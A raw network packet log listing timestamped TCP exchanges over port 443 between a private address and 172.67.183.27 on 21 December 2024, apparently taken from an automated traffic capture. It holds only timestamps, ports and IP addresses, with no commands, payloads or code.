Dec 21, 2024 20:13:50.370191097 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.370196104 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.370224953 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.377618074 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.377631903 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.377691984 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.377698898 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.377738953 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.384200096 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.384213924 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.384249926 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.384254932 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.384289026 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.384308100 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.391694069 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.391706944 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.391747952 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.391752958 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.391791105 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.391802073 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.398981094 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.398997068 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.399046898 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.399051905 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.399077892 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.399092913 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.413564920 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.413580894 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.413633108 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.413639069 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.413681030 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.413698912 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.548692942 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.548711061 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.548774958 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.548789978 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.548887014 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.555111885 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.555125952 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.555177927 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.555185080 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.555222988 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.562434912 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.562453032 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.562520981 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.562526941 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.562568903 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.569963932 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.569977999 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.570030928 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.570035934 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.570070982 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.576518059 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.576531887 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.576586008 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.576591015 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.576626062 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.576638937 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.584026098 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.584041119 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.584098101 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.584104061 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.584144115 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.591304064 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.591321945 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.591379881 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.591386080 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.591424942 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.593449116 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.593497038 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.709969997 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.709985971 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.710038900 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.710047960 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.710083008 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.743004084 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.743016958 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.743072033 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.743077040 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.743205070 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.749641895 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.749655962 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.749702930 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.749708891 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.749756098 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.756942034 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.756956100 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.757013083 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.757016897 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.757066965 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.764458895 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.764473915 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.764520884 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.764527082 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.764564991 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.771121979 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.771136045 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.771186113 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.771190882 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.771225929 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.778453112 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.778471947 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.778520107 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.778525114 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.778558969 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.778567076 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.785748959 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.785763025 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.785810947 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.785815954 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.785856009 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.902335882 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.902354002 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.902425051 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.902441025 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.902482033 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.935646057 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.935659885 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.935719967 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.935729980 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.935765982 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.942213058 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.942239046 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.942265987 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.942271948 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.942310095 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.949686050 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.949700117 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.949757099 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.949764013 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.949805975 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.957012892 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.957026958 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.957082987 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.957091093 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.957128048 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.963637114 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.963650942 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.963711023 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.963716030 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.963749886 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.971338987 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.971353054 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.971438885 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.971446037 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.971719027 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.973794937 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.973851919 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.989185095 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.989200115 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.989248991 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:50.989255905 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:50.989300013 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.123279095 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.123300076 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.123364925 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.123383045 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.123404026 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.123418093 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.129983902 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.129998922 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.130074024 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.130079985 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.132010937 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.137556076 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.137578964 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.137624025 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.137630939 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.137665033 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.137674093 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.144176960 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.144192934 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.144260883 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.144267082 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.144309998 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.151546001 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.151560068 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.151616096 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.151623964 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.151659966 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.158858061 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.158874035 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.158926964 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.158941031 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.158977985 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.165724039 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.165738106 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.165841103 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.165855885 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.165894985 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.181269884 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.181288958 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.181394100 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.181410074 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.181448936 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.315733910 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.315762997 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.315819025 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.315838099 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.315857887 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.315876961 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.322314978 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.322329044 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.322392941 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.322406054 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.322444916 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.329799891 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.329814911 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.329879045 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.329885006 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.329922915 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.336389065 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.336404085 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.336464882 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.336472034 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.336508989 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.343898058 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.343910933 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.343972921 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.343976974 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.344013929 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.351296902 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.351310968 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.351371050 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.351380110 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.351398945 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.351413965 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.357840061 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.357855082 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.357918024 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.357923985 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.357964039 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.373601913 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.373615980 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.373686075 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.373692989 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.373730898 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.507965088 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.507982969 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.508018970 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.508029938 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.508050919 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.508074045 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.514753103 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.514765978 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.514827013 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.514832020 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.514868975 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.522342920 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.522356033 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.522422075 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.522435904 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.522475958 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.529372931 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.529388905 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.529443979 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.529454947 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.529501915 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.536838055 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.536855936 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.536922932 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.536936045 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.536972046 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.543410063 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.543422937 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.543477058 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.543487072 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.543524981 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.550889015 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.550904036 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.550966978 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.550973892 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.551008940 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.565978050 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.565992117 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.566063881 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.566071033 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.566106081 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.704130888 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.704145908 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.704212904 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.704240084 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.704278946 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.710954905 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.710968018 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.711018085 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.711023092 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.711055994 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.718341112 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.718352079 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.718401909 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.718408108 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.718444109 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.718456984 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.725756884 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.725769997 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.725820065 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.725825071 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.725909948 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.734229088 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.734240055 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.734297037 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.734302044 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.734333992 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.739670038 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.739681959 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.739732027 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.739737034 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.739770889 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.748728037 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.748742104 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.748807907 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.748815060 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.748877048 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.759831905 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.759845018 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.759896994 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.759902954 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.759958029 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.896395922 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.896414995 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.896483898 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.896498919 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.896541119 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.903357029 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.903372049 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.903431892 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.903443098 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.903482914 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.910861969 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.910876036 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.910918951 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.910923004 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.910953045 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.910972118 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.917418003 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.917432070 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.917490005 CET	49737	443	192.168.2.4	172.67.183.27
Dec 21, 2024 20:13:51.917493105 CET	443	49737	172.67.183.27	192.168.2.4
Dec 21, 2024 20:13:51.917530060 CET	49737	443	192.168.2.4	172.67.183.27
